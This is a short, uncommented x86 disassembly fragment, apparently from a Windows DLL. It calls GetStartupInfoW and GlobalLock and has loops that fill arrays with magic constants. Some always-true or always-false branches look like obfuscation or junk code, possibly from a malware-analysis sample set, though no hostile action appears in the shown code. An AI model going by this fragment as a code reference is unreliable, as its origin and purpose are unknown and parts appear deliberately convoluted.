lea ecx, [ebp - 0x6e4]
call fcn.100171a9
push 2
mov dword [eax], esi
dec dword [ebp - 0x48]
pop esi
jmp 0x10030544
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030518
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x10030544
mov dword [ebp - 0x48], eax
jmp 0x1003053a
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030537
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], esi
jle 0x10030525
dec dword [ebp - 0x20]
jns 0x10030520
or eax, 0xffffffff
lea ecx, [ebp - 0x6e4]
mov dword [ebp - 4], eax
call fcn.1001718d
push ebx
lea ecx, [ebp - 0x69c]
call fcn.1001710b
mov dword [ebp - 4], 0x19
lea ecx, [ebp - 0xf64]
mov dword [ebp - 0x30], 0xc21b07fb
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], 0x2324067b
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x38], 0xdc4b6369
push esi
call fcn.1001710b
xor eax, eax
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100305c1
push dword [ebp - 0x24]
lea ecx, [ebp - 0x69c]
call fcn.100171a9
mov dword [eax], 0x83c7730f
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100305a3
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x100305e1
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xe40], 0x34859bb7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100305c9
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10030601
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf9c], 0x53d3
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x100305e9
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x10030627
push dword [ebp - 0x24]
lea ecx, [ebp - 0xf64]
call fcn.100171a9
mov dword [eax], 0xfffb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10030609
xor eax, eax
push eax
lea ecx, [ebp - 0x69c]
call fcn.100171a9
cmp dword [eax], 0
jne 0x1003063f
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x10030641
mov eax, ebx
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x69c]
xor eax, eax
push eax
call fcn.100171a9
cmp dword [eax], 0
je 0x10030741